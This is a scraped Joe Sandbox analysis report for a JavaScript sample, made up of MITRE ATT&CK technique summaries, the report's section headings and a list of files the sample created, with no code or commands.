Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2937924646314313784.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\377762d7-c397-4315-82d2-b09cad39a7ce.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4c96737a-f3cc-41fc-9198-bc202741d075.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF651997.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2937924646314313784.js